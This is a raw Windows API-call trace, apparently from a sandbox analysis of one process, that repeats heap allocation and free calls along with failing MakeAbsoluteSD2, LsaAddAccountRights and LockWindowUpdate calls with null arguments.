	[0049.003] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.003] GetLastError () returned 0x57
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.003] GetLastError () returned 0x57
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.003] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.003] GetLastError () returned 0x57
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.004] GetLastError () returned 0x57
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.004] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.004] GetLastError () returned 0x57
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.004] GetLastError () returned 0x57
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.004] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.004] GetLastError () returned 0x57
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.004] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0049.004] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.004] GetLastError () returned 0x57
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.004] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.004] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.004] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.004] GetLastError () returned 0x57
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.005] GetLastError () returned 0x57
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.005] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.005] GetLastError () returned 0x57
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.005] GetLastError () returned 0x57
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.005] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.005] GetLastError () returned 0x57
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.005] GetLastError () returned 0x57
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.005] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.005] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.005] GetLastError () returned 0x57
	[0049.005] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.006] GetLastError () returned 0x57
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.006] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.006] GetLastError () returned 0x57
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.006] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0049.006] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.006] GetLastError () returned 0x57
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.006] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.006] GetLastError () returned 0x57
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.006] GetLastError () returned 0x57
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.006] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.006] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.006] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.006] GetLastError () returned 0x57
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.007] GetLastError () returned 0x57
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.007] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.007] GetLastError () returned 0x57
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.007] GetLastError () returned 0x57
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.007] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.007] GetLastError () returned 0x57
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.007] GetLastError () returned 0x57
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.007] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.007] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.007] GetLastError () returned 0x57
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.008] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0049.008] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.008] GetLastError () returned 0x57
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.008] GetLastError () returned 0x57
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.008] GetLastError () returned 0x57
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.008] GetLastError () returned 0x57
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.008] GetLastError () returned 0x57
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.008] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.008] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.009] GetLastError () returned 0x57
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.009] GetLastError () returned 0x57
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.009] GetLastError () returned 0x57
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.009] GetLastError () returned 0x57
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.009] GetLastError () returned 0x57
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.009] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0049.009] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.009] GetLastError () returned 0x57
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.009] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.009] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.010] GetLastError () returned 0x57
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.010] GetLastError () returned 0x57
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.010] GetLastError () returned 0x57
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.010] GetLastError () returned 0x57
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.010] GetLastError () returned 0x57
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.010] GetLastError () returned 0x57
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.010] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.010] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.010] GetLastError () returned 0x57
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.011] GetLastError () returned 0x57
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.011] GetLastError () returned 0x57
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.011] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0049.011] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.011] GetLastError () returned 0x57
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
